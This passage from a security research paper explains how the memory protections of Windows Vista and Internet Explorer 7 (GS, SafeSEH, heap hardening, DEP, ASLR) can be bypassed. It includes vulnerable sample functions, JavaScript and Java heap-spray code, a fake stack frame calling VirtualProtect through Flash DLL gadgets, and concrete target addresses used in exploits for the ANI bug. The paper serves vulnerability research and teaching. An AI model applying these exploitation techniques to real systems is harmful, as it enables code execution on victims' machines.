generating a random 5-bit value x based on the time stamp counter, and then searching through 

the address space for the x-th hole of the required size. Once a hole has been found, it is passed 

as the suggested base address to NtAllocateVirtualMemory. After that, the offset within the initial 

page where the stack starts is adjusted randomly in the PspSetupUserStack function. Again, a 

strategy is employed whereby a random value is derived from the time stamp counter, this time 

9 bits. This 9-bit random value is then multiplied by 4 (guaranteeing DWORD alignment), and 
subtracted from the stack base. This results in a maximum offset of 7FC bytes, or half a page. 



Part 2. Bypassing memory protections 

The design and implementation of the memory protection mechanisms in Windows have a 

number of limitations that reduce their effectiveness. In this section we will discuss these 
limitations and describe how they can allow an attacker to bypass the protections. 

GS 

Function heuristics 

The default heuristic used to detect string buffers will leave some vulnerable functions 

unprotected. One example is the ANI buffer overflow (CVE-2007-0038) which was a result of 

copying a user-specified number of bytes into a fixed size structure on the stack. Since the 

structure did not contain any string buffers, the vulnerable function did not have a stack cookie. 

A simplified version of the vulnerable code is shown below: 

void gs1(char* src, int len) 

{ 

    struct { 

        int a; 

        int b; 

    } buf; 

 

    memcpy(&buf, src, len); 

} 

Another type of buffers that are not protected by GS are arrays of integers or pointers. A sample 

vulnerable function is shown below: 

void gs2(int count, int data) 

{ 

    int array[10]; 

    int i; 

 

    for (i = 0; i < count; i++) 

        array[i] = data; 

} 

Use of overwritten stack data before the cookie check 

Let's take a look at a diagram of the data on the stack of a function protected by GS: 

callee saved registers 

copy of pointer and string buffer arguments 

local variables 

string buffers               |o 

gs cookie                    |v 

exception handler record     |e 

saved frame pointer          |r 

return address               |f 

arguments                    |l 

                             |o 

stack frame of the caller    |w 

                             \/ 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0038


A buffer overflow in one of the string buffers allows us to overwrite four types of interesting data 

on the stack: 

 other string buffers in the vulnerable function 

 exception handling record in the vulnerable function 

 arguments that don't contain pointers or string buffers 

 any stack data in functions up the call stack 

The last item is particularly interesting, because there are many common situations in which 

functions are passed pointers to objects or structures on the stack of their callers. The following 

code sample demonstrates an exploit that overwrites an object in the caller stack frame of the 
caller and uses a virtual function call to take control of the execution: 

class Foo { 

 

public: 

 

    void __declspec(noinline) gs3(char* src) 

    { 

        char buf[8]; 

 

        strcpy(buf, src); 

 

        bar();      // virtual function call 

    } 

 

    virtual void __declspec(noinline) bar() 

    { 

    } 

}; 

 

int main() 

{ 

    Foo foo; 

 

    foo.gs3( 

        "AAAAAAAA"      // buffer 

        "AAAA"          // gs cookie 

        "AAAA"          // return address of gs3 

        "AAAA"          // argument to gs3 

        "BBBB");        // vtable pointer in the foo object 

} 

The foo object is allocated on the stack of the main function and passed as the this pointer to 

the gs3 member function. The buffer overflow in gs3() allows us to overwrite the object and its 

vtable pointer. This pointer is used to find the address of the virtual function bar. If we point it to 

a fake vtable, we can redirect the virtual function call and execute our shellcode before the GS 
cookie check in the gs3 function epilogue. 

Exception handling 

Perhaps the most critical limitations of GS is that it does not protect exception handler records 

on the stack. A buffer overflow can be used to overwrite an exception handler record of the 

vulnerable function or any other function up the call stack. If the attacker can trigger an 

exception before the GS cookie check, the overwritten exception handler record will allow them 
to gain control of the execution. 



Consider the following sample function: 

int gs4(char* src, int len) 

{ 

    char buf[8]; 

    int i, slashes; 

 

    // Buffer overflow 

    strcpy(buf, src); 

 

    // Count the slashes in the buffer, using the len argument to end the loop 

    for (i = 0, slashes = 0; i < len; i++) 

        if (buf[i] == '\\') 

            slashes++; 

 

    return slashes; 

} 

The compiler does not consider len to be a vulnerable argument because it is not a pointer or a 

string buffer. Consequently the len argument is stored above the string buffer and can be 

overwritten by the attacker. If it is overwritten with a large value, the loop that counts the 
slashes will reach the end of the stack and trigger an access violation exception. 

Another good way to trigger an exception before the function returns is to overwrite the stack 

with a large amount of data. When the strcpy or memcpy function hits the end of the stack, we'll 

get an access violation exception. 

The exception dispatcher in NTDLL.DLL will call the exception handler specified in the overwritten 

exception handler record on the stack. Since the attacker controls this function pointer, it can be 

used to gain control of the execution. In practice, using this technique requires bypassing the 
SafeSEH protection, the weaknesses of which are discussed in the next section. 

SafeSEH 

SEH handlers on the heap 

In processes with DEP disabled the exception dispatcher allows SEH handlers to be located on 

any non-image page except for the stack. This means that we can put our shellcode on the heap 

and use an overwritten exception handler record to jump to it, rendering the SafeSEH protection 

completely ineffective. Since the process does not have DEP, we don't even have to worry about 

the heap being executable. 

DLLs without SafeSEH 

If the process has any modules linked without the /SafeSEH option, we can use an overwritten 

exception handler record to jump to any code in one of these modules. This technique was used 

to exploit the Microsoft DNS RPC Service vulnerability (MS07-029) on Windows Server 2003. The 

vulnerable process had loaded ATL.DLL, which did not have a valid SafeSEH table. Any code in 

this DLL could be used as a target after a SEH overwrite. 

http://www.microsoft.com/technet/security/Bulletin/ms07-029.mspx


Heap protection 

Unsafe unlinking of the lookaside 

The one critical omission in the safe unlinking protection in XP SP2 are the lookaside lists. These 

are single linked lists that keep track of free blocks of sizes less than 1024 bytes. When a free 

block is allocated from the lookaside, it is removed from the linked list and its flink pointer is 

written to the head of the list. At this point there is no verification that the flink pointer is valid. 

The next allocation for a chunk of the same size will return the flink pointer as the new allocated 
block. 

If an attacker can overwrite the header of a free block on the lookaside list, they can replace the 

flink pointer with any address and write an arbitrary number of bytes there after the next 

allocation returns that address. This attack was first described by Matt Conover in his XP SP2 
Heap Exploitation presentation. 

In Windows Vista the lookaside lists were replaced by the Low-Fragmentation Heap, which does 
not suffer from this weakness. 

Inconsistent heap state after a failed unlinking operation 

A more complicated heap exploitation technique presented by Brett Moore in Exploiting 

Freelist[0] on XP SP2 and further expanded in Heaps About Heaps. This technique takes 

advantage of the fact that even when the safe unlinking check detects memory corruption, the 

process is not terminated and the heap is left in a potentially inconsistent state. This can be 

exploited by further heap operations and gives the attacker the ability to overwrite arbitrary 

locations in memory. 

Windows Vista allows the application to request that the heap allocator terminate the process as 

soon as heap corruption is detected. This behavior is not enabled by default, but can be turned 

on by setting the HeapEnableTerminationOnCorruption flag with the HeapSetInformation 
function. 

Overwriting application data 

The heap implementation on Windows Vista is sufficiently hardened so that generic exploitation 

of the heap allocator is no longer feasible. To exploit heap overflows, an attacker has to 

overwrite application data on the heap, such as function, vtable or object pointers. If the 
program uses an overwritten pointer, the attacker will be able to take control of the execution. 

The main difficulty with overwriting application data is how to ensure that the block following the 

one we overwrite contains the type of data that we want to overwrite. The solution to this lies in 

taking advantage of the determinism of the heap allocator to control the layout of the heap. An 

example of this is the Heap Feng Shui technique for browser exploitation developed by one of the 

authors of this paper. 

http://www.cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt
http://www.cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt
http://www.cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt
http://www.insomniasec.com/publications/Exploiting_Freelist%5B0%5D_On_XPSP2.zip
http://www.insomniasec.com/publications/Exploiting_Freelist%5B0%5D_On_XPSP2.zip
http://www.insomniasec.com/publications/Exploiting_Freelist%5B0%5D_On_XPSP2.zip
http://www.insomniasec.com/publications/Heaps_About_Heaps.rar
http://blogs.msdn.com/michael_howard/archive/2008/02/18/faq-about-heapsetinformation-in-windows-vista-and-heap-based-buffer-overruns.aspx
http://www.determina.com/security.research/presentations/bh-eu07/bh-eu07-sotirov-paper.html


DEP 

DEP provides a significant barrier for executing arbitrary code, because generally the attacker 

isn't able to return to code they have inserted into the process. Still, several alternative options 

are available to the attacker, depending on the nature of the vulnerability being exploited. This 
section discusses some of those alternatives. 

Incompatible applications 

When Vista is running with the default OptIn policy, executables not linked with the /NXcompat 

option will not have DEP enabled. At the time of writing, the most popular browsers, Internet 

Explorer 7 and Firefox 2, are not linked with /NXcompat and will not have DEP. This is going to 

change in the upcoming Internet Explorer 8 release. Firefox version 3 also ships with DEP 
enabled by default. 

RWX mappings 

DEP is only an effective mechanism if there is no opportunity for the attacker to write data to 

memory locations that are also marked as executable. In some cases, however, it is possible for 

pages to be mapped both writable and executable and therefore create an attractive target for 

the attacker to write to. One very prominent example of such a scenario is the Sun Java Virtual 

Machine (JVM). When allocating memory for Java objects and other data, the page permissions 

for the allocation are specified as readable, writable, and executable. Therefore, it is possible to 

perform heap spraying attacks using Java applets in a simiar fashion to the standard JavaScript 

heap spraying technique, with the added bonus that all of the data being sprayed over memory 
will be executable. 

Code reuse 

A well known exploitation technique when faced with bypassing DEP is to return into the text 

section of an image that has already been mapped. Usually it is possible for an attacker to find 

some useful code that can be utilized to perform some action to undermine the security of the 

application (and often gain full arbitrary execution). Some common targets might include: 

 Returning to a page mapping/protection routine - In this scenario, the attacker uses 

system APIs to mark writable pages in the process as executable. Typically this style of 

attack is available when the attacker is able to control the stack, and thus setup the 

required arguments and return into the function that modifies the page protections and 

then subsequently returns to the page that was just modified. 

 System command/process creation routines - This scenario involves executing a 

command or invoking a new application, usually one that the attacker has supplied. 

Again, this requires the attacker being able to setup the stack correctly. 

 Security policy violations - Here, the attacker attempts to subvert the security policy of 

the browser or one of its components by modifying a data structure that governs what 

actions can and cannot be performed by the user in this context. An example of such an 

attack was demonstrated by one of the authors in a recent paper discussing exploitation 

of the Flash ActionScript Virtual Machine. 

http://documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf


These are just a few of the many possible scenarios that might be available to the attacker. 

Although these types of attacks are effective against DEP in isolation, performing these attacks in 

an environment where both DEP and ASLR are in effect (such as in the Vista environment that is 

the subject of this paper) can prove to be difficult. Combining techniques for bypassing DEP as 
well as ASLR will be discussed in Part 3 of this paper. 

ASLR 

Vista's ASLR implementation complicates exploitation by reducing the attacker's knowledge of 

where key data structures will be located in memory. However, there are a few strategies that 

may be employed by the attacker to help exploit memory corruption vulnerabilities that they 
have uncovered. These techniques will be discussed here. 

Statically positioned DLLs and executables 

ASLR is only fully effective if everything in the process address space is randomized. If some 

code or data remains at constant locations in memory, it become an appealing target when 

building exploits. The first and perhaps most obvious technique is to look for images that are 

mapped at their preferred image base in the address space. As detailed earlier in this paper, in 

the default configuration on Vista, only executables and DLLs that have the 

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE flag set in the optional header will be 

randomized. In order for this flag to be set, the binaries must be built with Visual Studio 2005 

SP1 and have the /DynamicBase option passed to the linker. Microsoft are quite diligent about 

doing so in the binaries shipped with the Vista operating system and most of their other 

products. However, Independent Software Vendors (ISVs) have been slower to adopt this option 
and as a result, many third-party binaries on a typical desktop are not protected by ASLR. 

This style of attack is particularly attractive when targeting browsers, due to their plugin 

architecture. When a user visits a potentially malicious web page, there are quite a lot of 
opportunities to load a wide range of DLLs by employing techniques such as: 

 Instantiating ActiveX controls or plugins that the user is likely to have installed. 

 Utilizing specific features of the browser or its extensions that result in DLL loading - such 

as using specific scripting languages, or using specific features of these languages. 

 Specifying URL schemes that require protocol handlers that load in-process within the 

browser to deal with those special URLs. 

 Supplying input data that results in library loading to do some sort of special handling of 

a specific Content-Type. 

 Requiring associated metadata handling, such as dealing with security signatures/hashes 

within a mobile code package. 

 Requiring user authentication with an authentication mechanism that has its own library. 

 Embedding media of various types that require loading of specific libraries to parse the 
data (such as an image parser or a video codec). 

Practically static objects 

A slight variation of statically located objects is when data objects do not have a fixed location 

per se, but they can effectively be relied upon to exist in a certain region of memory. This 

situation is often a potential issue when a growable object exists in memory that can be grown to 

an arbitrarily large size by the user. This technique has been very popular in the last few years 

when dealing with heaps that exist in the process address space. Commonly referred to as "heap 



spraying" or "growing the heap", this technique essentially involves exhausting the regular space 

available and forcing the heap to grow to be much larger. Providing that allocations are 

somewhat linear and the the virtual address space is limited (such as in 32-bit processes on 

x86), it is possible to guess where some of that data will be mapped. 

For example, the heap randomization on Windows Vista shifts the base of the heap by up to 

2MB. If the attacker can allocate more than 2MB of data on the heap, they will be able to guess a 
valid pointer into their data, regardless of the heap randomization. 

Partial overwrites 

A partial overwrite is a memory corruption technique where only the least significant 1 or 2 bytes 

of the pointer are modified. Performing overwrites of this nature can be effective in an ASLR 

environment, since the attacker is not required to know the real address of an object in memory, 

but rather just the relative location of the new target from what the pointer pointed to originally. 

Since all image randomization in Vista is performed only on the high bytes of an image address, 
the low two bytes will be the same regardless of where in memory the image is loaded. 

This style of attack is a well-known and often utilized technique among security researchers and 

hackers, and has been in wide use for quite some time. It tends to be a particularly effective 

technique on little-endian platforms, since contiguous memory overwrites (such as standard 

buffer overflows) will corrupt the least significant bytes before the more significant bytes. One of 

the most well-known scenarios where this has been used in the past is when a single-byte ("off-

by-one") buffer overflow is discovered in an application that is writing to a stack buffer. This 

particular scenario is quite unlikely to be exploitable in many cases now due to security 

enhancements in compiler technology such as the /GS protection in the Visual Studio compiler. 

In practice, the ability to perform partial ovewrite attacks is very dependent on the nature of the 

vulnerability - what is being overwritten, whether the attacker has precise control over how 

many bytes can be overwritten, whether the overwrite is contiguous, and what pointers are 
available to corrupt. 

Memory information leaks 

Finally, there are information leaks. An information leak vulnerability is one that allows the 

attacker to glean some useful information about the memory layout or some useful state 

information about the target process. In the context of bypassing ASLR, ideally the attacker will 
want to obtain a pointer value. These are immensely useful for the following reasons: 

 A pointer can be used to determine where an object is mapped in memory. For example, 

a pointer to a stack gives away at least a portion of where a thread stack is in memory. 

Also, a pointer to a static variable will betray the image base of a particular DLL or 

executable. 

 Additional information can be inferred from such a pointer. For example, a frame pointer 

to a stack frame not only tells the attacker where a thread stack resides, but if the 

attacker knows what function the stack frame is for, they are able to determine a great 

deal more about that thread's stack. They will know what data elements surround that 

frame pointer, as well as those from previous stack frames. For a data section pointer, 

they are able to determine where that image resides in memory, not just where a single 

data element is. Heap pointers will be useful in pinpointing exactly where a specific data 

block was allocated, which could be useful for an application-specific attack. 



In the context of Vista's ASLR, information leaks have an additional advantage. If an attacker is 

able to learn the location of an image in memory, then it follows that they will know the location 

of that DLL in not just that process, but for all processes running on the target system. Recall 

that a DLL's position in memory is initially determined by searching the _MiImageBitMap variable 

for an appropriate location, and this bitmap is used for all processes. So, finding a DLL in one 
process effectively allows you to locate it in all processes. 



Part 3. Browser exploitation in depth 

Now that the protection mechanisms and their limitations have been explored in isolation, real-

world exploitation can be considered. This section is aimed at demonstrating how some of the 

knowledge from Part 2 can be applied practically to build robust and reliable exploits. We will 

show how different techniques can be combined together to bypass multiple protections at the 

same time. 

The explotiation techniques will be demonstrated with a series of exploits for the ANI 

vulnerability (CVE-2008-0038), each demonstrating a different technique or combination of 

techniques for bypassing protection mechanisms in Internet Explorer 7. The exploits target 

Windows XP SP2 and Vista SP0 because they are vulnerable to this particular bug, but the 
techniques we present are applicable to even the most recent versions of Windows. 

JavaScript 

Heap spraying 

exploit: heapspray-ret.rb 

vulnerability: ANI 

target: Vista SP0 (default configuration, no DEP) 

bypasses: ASLR 

This exploit uses heap spraying to fill 100MB of the Internet Explorer heap with shellcode. The 

JavaScript heap spraying code creates multiple copies of a string, each taking up a 1MB block of 

memory. Each block is 64KB aligned and the data controlled by the attacker starts at a 36 byte 

offset. By repeating the shellcode every 64KB in the string, we ensure that any heap address 
that ends in 0x0024 (64KB alignment + 36 bytes) is likely to contain our shellcode. 

The code below shows the heap spraying code used by the exploit: 

// 

// Fills the heap with copies of the data string. The mb argument specifies 

// how many megabytes of the heap to fill. Copies of the data string are 

// located at 64KB aligned addresses + 36 bytes 

// 

 

function heapSpray(data, mb) { 

 

  // 64KB chunk 

  // 

  // data     padding 

  // x bytes  65536 - x bytes 

 

  var chunk64k = data + padding((65536 - data.length*2)/2) 

 

  // 1MB chunk 

  // 

  // heap header  string length  64k chunks  truncated 64k chunk  null 

  // 32 bytes     4 bytes        15 * 65536  65498 bytes          2 bytes 

 

  var chunk1mb = ""; 

 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0038


  // 64k chunks 

  for (var i = 0; i < 15; i++) 

      chunk1mb += chunk64k; 

 

  // truncated 64k chunk 

  chunk1mb += chunk64k.substr(0, 65498/2); 

 

  a = new Array(); 

 

  // 1MB allocations, 64KB alignment, data starts at 64KB aligned 

  // addresses + 32 bytes 

 

  // Allocate mb megabytes 

  for (var i = 0; i < mb; i++) { 

      a[i] = chunk1mb.substr(0, chunk1mb.length); 

  } 

} 

 

// Fill 100MB of the heap with shellcode 

 

heapSpray(shellcode, 100); 

The heap randomization in Vista shifts the beginning of the heap by up to 2MB, but all allocations 

after that are contiguous. This means that most of our 100MB with shellcode will end up in the 
same memory range on every system, despite the presence of ASLR on Vista. 

The allocations from the heap spraying code are shown below. The first few blocks are not 
contiguous due to heap fragmentation, but all blocks after 0x4c50020 are next to each other. 

alloc(0xfffe0) = 0x3fe0020 

alloc(0xfffe0) = 0x3df0020 

alloc(0xfffe0) = 0x4410020 

alloc(0xfffe0) = 0x4850020 

alloc(0xfffe0) = 0x4950020 

alloc(0xfffe0) = 0x4a50020 

alloc(0xfffe0) = 0x4b50020 

alloc(0xfffe0) = 0x4720020 

alloc(0xfffe0) = 0x4c50020   <-- contiguous allocations after this point 

alloc(0xfffe0) = 0x4d50020 

alloc(0xfffe0) = 0x4e50020 

alloc(0xfffe0) = 0x4f50020 

alloc(0xfffe0) = 0x5050020 

alloc(0xfffe0) = 0x5150020 

alloc(0xfffe0) = 0x5250020 

alloc(0xfffe0) = 0x5350020 

alloc(0xfffe0) = 0x5450020 

alloc(0xfffe0) = 0x5550020 

alloc(0xfffe0) = 0x5650020 

... 

We will use the buffer overflow in the LoadAniIcon function to overwrite the return address and 

point it to 0x7c50024. This address is 64KB + 36 bytes aligned and it is in the middle of the 

memory range where our heap sprayed shellcode is located. It is very likely that the memory at 
this address will contain our shellcode and in practice the exploit is very reliable. 

Heap spraying is a useful technique even for systems that do not have ASLR. It gives us full 

control over the data at a certain address, which can be used as a target for any kind of function 
or data pointer overwrite. Most of the other exploits presented in this section rely on heap 
spraying as a basic building block for exploitation. 



SEH overwrite targeting the heap 

exploit: heapspray-seh.rb 

vulnerability: ANI 

target: XP SP2 (default configuration, no DEP) 

bypasses: GS, SafeSEH, ASLR 

The LoadAniIcon function is not protected by GS, but if it were, we could still exploit it by 

overwriting an exception handler record and triggering an exception. The heapspray-seh.rb 

exploit overflows the stack with 10MB of data, which leads to a write beyond the top of the stack 

and causes an access violation exception. On Vista this exception is handled by a handler located 
below us on the stack, but on XP SP2 the SEH record is above our buffer and can be overwritten. 

To bypass SafeSEH, we point the exception handler to the sprayed shellcode on the heap. Since 

in the default configuration Internet Explorer is not protected by DEP, the exception handler 
dispatcher allows handlers on the heap and calls our shellcode. 

If Windows XP had ASLR, our use of heap spraying would bypass it as well. 

Flash 

Flash code reuse 

exploit: flash-virtualprotect.rb 

vulnerability: ANI 

target: Vista SP0 with DEP, Flash 9.0.124.0 

bypasses: ASLR, DEP 

The next challenge in browser exploitation is to bypass both DEP and ASLR on Vista. To do this, 

we will look for DLLs that are not ASLR compatible and are loaded at a fixed address in the 

browser address space. Many popular browser plugins, including the latest versions of Flash 

Player and Java include DLLs that are not compatible with ASLR. For this exploit we will use 

Flash9f.ocx from Flash Player version 9.0.124.0. This DLL is always loaded at base address 

0x30000000. 

The ANI buffer overflow allows us do a standard code reuse attack by creating fake stack frames 

and returning to code at a known location in Flash9f.ocx. Our goal is to change the page 

protection of the shellcode on the heap and make it executable. For this, we need to return to 
the following code segment: 

.text:301B5446                 call    ds:VirtualProtect 

.text:301B544C                 pop     ecx 

.text:301B544D                 retn    0Ch 



The stack frame we need to set up looks like this: 

301B5446    return address of LoadAniIcon (points to VirtualProtect call in 

Flash9f.ocx) 

 

41414141    arguments of LoadAniIcon, popped by the return instruction 

41414141 

41414141 

41414141 

41414141 

 

07c50024    lpAddress (points to our shellcode) 

00001000    dwSize (size of the shellcode: 4096 bytes) 

00000040    flNewProtect (PAGE_EXECUTE_READWRITE) 

07c50020    lpflOldProtect (must be a writable address) 

 

41414141    used by the pop ecx instruction in Flash9f.ocx 

 

07c50024    return address for the code in Flash9f.ocx (points to shellcode) 

The VirtualProtect call will change the protection of the shellcode and return to it, bypassing both 

DEP and ASLR. This technique is limited by the requirement for a DLL that is not ASLR 

compatible, but fortunately for us the Flash plugin is installed on about 99% of the Internet 
enabled desktops. 

SEH overwrite with Flash code reuse 

exploit: flash-virtualprotect-seh.rb 

vulnerability: ANI 

target: XP SP2 with DEP, Flash 9.0.124.0 

bypasses: GS, SafeSEH, ASLR, DEP 

The code reuse technique from the previous exploit requires control of the return address on the 

stack. To exploit overflows in functions protected by GS, we need to combine the code reuse 

pattern with a SEH overwrite and cause an exception. To bypass SafeSEH, we need to point the 
overwritten exception handler to code in a DLL that does not have a SafeSEH table. 

The Flash9f.ocx module is ideal for our purposes, because it is loaded at a fixed address and 

lacks a SafeSEH table. One complication is that when the exception handler is called, we will not 

have direct control of the stack. This prevents us from setting up a fake stack frame and jumping 

directly to a VirtualProtect call. Instead, we need to jump to a code sequence that adjusts the 

stack pointer to reach the area of the stack that we control. 

The following backtrace shows the stack at the point when the exception handler is called: 

0:005> kb 

ChildEBP RetAddr  Args to Child 

015df1a8 7c90378b 015df270 015dfaf0 015df28c Flash9f!pcre_fullinfo+0x9834 

015df258 7c90eafa 00000000 015df28c 015df270 ntdll!ExecuteHandler+0x24 

015df258 77d83ac3 00000000 015df28c 015df270 ntdll!KiUserExceptionDispatcher+0xe 

015df564 77d83b1e 015df6bc 015df5a0 00a00734 USER32!ReadFilePtrCopy+0x2b 

015df580 77d84021 015df6bc 015df5c4 015df5a0 USER32!ReadChunk+0x19 

015df5ec 41414141 41414141 41414141 41414141 USER32!LoadAniIcon+0x9e 

015df604 41414141 41414141 41414141 41414141 0x41414141 

http://www.adobe.com/products/player_census/flashplayer/


The current stack pointer is 0x15df188. We can see that the overwritten stack frame of 

LoadAniIcon starts at address 0x15df5ec, which is about a thousand bytes above the current 

stack pointer. To move the stack pointer into the overwritten area, we will point the exception 

handler at the following instruction sequence in Flash9f.ocx: 

.text:301AF614                 add     esp, 0B30h 

.text:301AF61A                 retn 

After the add instruction, the stack pointer will point at data that we control. We can set up the 

exact same fake stack frame as in the previous exploit to call the VirtualProtect function and 

return to our shellcode on the heap. 

The stack randomization in Vista does not stop this exploit, because it changes only the address 

where the stack begins, not the relative positions of stack frames. The distance between the 

overwritten LoadAniIcon stack frame and the stack pointer in the exception handler will be the 
same regardless of what their randomized absolute addresses are. 

Java 

The Sun Java Runtime Environment (JRE) includes a plugin for Internet Explorer that allows web 

pages to load and execute Java applets. The Java Virtual Machine (JVM) ensures that the applets 

are properly sandboxed and prevents them from accessing any files or other sensitive data on 

the system. In the past there have been a number of vulnerabilities allowing Java code to escape 

the sandbox, but in this section we will use the JVM memory allocator to bypass DEP and ASLR 
when exploiting memory corruption vulnerabilities in the browser. 

Java RWX heap spraying 

exploit: java-heapspray.rb 

vulnerability: ANI 

target: Vista SP0 with DEP, Java 6u7 

bypasses: DEP, ASLR 

The JVM uses a custom memory allocator that calls VirtualAlloc to reserve system memory. In a 

misguided attempt to make the JVM compatible with DEP, all calls to VirtualAlloc set the 

PAGE_EXECUTE_READWRITE page protection bits. This makes all memory allocated by the 

virtual machine executable and avoids any DEP errors, but it also defeats the purpose of DEP. 

Since the Java heap is marked executable, we can use a Java applet to spray the heap with 

shellcode and use an overwritten return address to execute it. 

This exploit bypasses DEP and ASLR by using a Java applet to fill the JVM heap with copies of a 

string containing a NOP slide and shellcode. The code of the Java function that implements the 
heap spraying technique is shown below: 

// 

// Fill mb megabytes of heap memory with strings containing shellcode 

// 

 

public void heapSpray(String shellcode, int mb) throws RuntimeException { 

 

    // Limit the shellcode length to 100KB 

 



    if (shellcode.length() > 100*1024) 

        throw new RuntimeException(); 

 

    // Limit the heap spray size to 1GB, even though in practice the Java 

    // heap for an applet is limited to 100MB 

 

    if (mb > 1024) 

        throw new RuntimeException(); 

 

    // Array of strings containing shellcode 

 

    String[] mem = new String[1024]; 

 

    // A buffer for the nop slide and shellcode 

 

    StringBuffer buffer = new StringBuffer(1024*1024/2); 

 

    // Each string takes up exactly 1MB of space 

    // 

    // header    nop slide   shellcode  NULL 

    // 12 bytes  1MB-12-2-x  x bytes    2 bytes 

 

    // Build a nop slide 

 

    for (int i = 1; i < (1024*1024-12)/2-shellcode.length(); i++) 

        buffer.append('\u9090'); 

 

    // Append the shellcode 

 

    buffer.append(shellcode); 

 

    // Run the garbage collector 

 

    Runtime.getRuntime().gc(); 

 

    // Fill the heap with copies of the string 

 

    try { 

        for (int i=0; i<mb; i++) { 

            mem[i] = buffer.toString(); 

        } 

    } 

    catch (OutOfMemoryError err) { 

        // do nothing 

    } 

} 

The size of the Java heap for applets is limited to 100MB and our testing shows that we get an 

OutOfMemoryError exception after filling 93MB of the heap with shellcode. In order to jump to 

the shellcode, we need to determine the range of possible base addresses for the Java heap and 

target an address that's within 90MB of that range. 

What determines the base address of the heap? To understand the memory layout of the JVM, 

we need to investigate the implementation of the Class Data Sharing feature introduced in 

Java 5. Its goal is to minimize the startup time of the JVM by loading the internal representation 

of common system classes from a disk cache instead of parsing them every time. During the 

installation of the JRE, the system classes are loaded and their internal representation is dumped 

to a file called a shared archive. When the JVM starts, it maps the shared archive in memory and 

has to parse only classes that are not included in it. The data from the shared archive must be 

mapped at the same address to keep all internal pointers consistent. Since the Java heap is 

http://java.sun.com/j2se/1.5.0/docs/guide/vm/class-data-sharing.html


located right after the shared archive, its address is also the same in all instances of the JVM on 
a certain machine. 

When the shared archive is generated, the JVM allocates 32MB for a code cache and reserves 

512MB of empty memory space before allocating the shared archive data and the Java heap. The 

purpose of the 512MB reservation is to ensure that any allocations made by the browser before 

loading the JVM will use this space instead of the address range where the shared archive needs 

to be mapped. The memory layouts of the JVM process that generates the shared archive and 
the browser process that loads our heap spraying applet are shown below: 

Shared archive generation           Browser process 

 

windows heap                        windows heap 

Java code cache (32MB)              ... more browser allocations 

Java dummy allocation (512MB) 

Shared archive data                 Shared archive data 

Java heap                           Java heap 

Our data shows that we can expect the base address of the Java heap to be in the 0x20000000-

0x25000000 range. Since we're going to fill the heap with about 93MB of shellcode, our exploit 

tries jumping to 0x25a0000, which is an address likely to contain our shellcode regardless of the 
exact base address of the heap. 

There are some rare circumstances in which loading the shared archive fails. Most commonly this 

happens when the browser maps a DLL in the address range that the shared archive needs or if 

the browser allocates more than 512MB of heap memory. In that case, the shared archive 

mapping will fail and the JVM will have to continue by loading and parsing all system class files 

again. Since we don't have the 512MB dummy allocation, the Java heap will be located right 

after the Java code cache. The exact address of the Java heap will depend on the memory 
allocations made by the browser before the JVM was loaded. 

Browser process without a shared archive 

 

windows heap 

Java code cache (32MB) 

Java heap 

Our tests show that when the shared archive cannot be loaded, the Java heap base address is 

around 0x05000000. A good target address for the exploit to use is 0x07000000, which is about 

32MB above the base address. Unfortunately there is no way to tell whether loading the shared 

archive failed or not, so a good strategy for an attacker is to jump to 0x25a0000 on the first try 
and target 0x07000000 if they get a second try. 



.NET 

Internet Explorer versions 6 and onward allow for .NET User Controls (sometimes referred to as 

UI Controls) to be embedded within a webpage. These controls are .NET binaries that run in a 

sandbox inside the browser process and can be thought of as the .NET equivalent of Java 

browser applets, or a sandboxed replacement for ActiveX controls. These controls are loaded in 
the browser using the <OBJECT> tag: 

<OBJECT classid="ControlName.dll#Namespace.ClassName"> 

This format looks very similar to the way ActiveX controls are embedded, but there are a few key 

differences: 

 Instead of a GUID, the classid attribute contains a URL that points to the .NET binary and 

specifies the namespace and class name of the control. 

 In the default Internet Explorer configuration, .NET controls can be embedded on any 

page in the Internet Zone. This behaviour can be configured in the Security Settings tab 

in IE. 

 Unlike ActiveX, no warning is issued to the user when a previously unseen .NET control is 

encountered. This is because .NET controls execute within a sandbox and are considered 
safe regardless of their origin, similar to the way Java applet are treated. 

The .NET binaries are PE files with an extra header that describes the classes and .NET bytecode 

contained in the binary. The bytecode is Intermediate Language (IL) code, which runs in the 

Common Language Runtime (CLR) virtual machine. When a .NET binary is loaded in the browser, 

the runtime verifies that it is a IL-Only binary, which means that it contains no native code. In 

fact, there is a relatively extensive analysis of the binaries being loaded to ensure that they are 

well formed and valid. Interested readers are encouraged to peruse the source code of the 

binary validation process in the Shared Source Common Language Infrastructure. The .NET IL 

code itself is also exposed to a verification process to ensure that it is well-formed and cannot do 

anything malicious. This verification process is beyond the scope of this paper. 

Shellcode in a .NET binary 

exploit: dotnet-shellcode.rb 

vulnerability: ANI 

target: XP SP2 with DEP, .NET 2.0 SP1 

bypasses: DEP 

Since the .NET binaries have the same basic format as PE files, the CLR maps them into memory 

as images. This means that the kernel parses the PE header and loads all PE sections in memory 

the same way it does for normal executables or DLLs. In doing this, it sets the page permissions 

for each section according to the flags in the PE header. If the binary contains an executable 

section, it will be loaded in memory and its pages will be marked executable. 

This gives an attacker the ability to put shellcode in the .text section of a .NET binary and get the 

shellcode loaded at an executable page in the browser process. On Windows XP, the address 

where the binary is loaded depends on the image base specified in the PE header, which is also 
controlled by the attacker. 

http://www.microsoft.com/downloads/details.aspx?FamilyId=8C09FD61-3F26-4555-AE17-3121B4F51D4D&displaylang=en


The ability to place executable shellcode at a known location in the address space is usually a 

paramount part of successfully exploiting a memory corruption vulnerability. Utilizing .NET 
controls for placing shellcode is exceedingly useful for a number of reasons: 

 The attacker can make a shellcode buffer of an arbitrary size. 

 The attacker is not restricted in any way by what bytes may exist within the shellcode.  

 The attacker can also create arbitrary complex data structures and load them at a known 

location in memory. 

We'll put the shellcode in a string used in the constructor for our control. This string will be 

stored in the .text section of the .NET binary and will be marked executable when the control is 

loaded. The exploit uses the ANI buffer overflow to point the return address to the shellcode and 
execute it. 

Address space spraying 

bypasses: DEP, ASLR 

Since .NET binaries are DLLs and are eventually loaded within the address space of the target IE 

browser process, they afford the attacker some interesting possibilities. Primarily, the attacker 

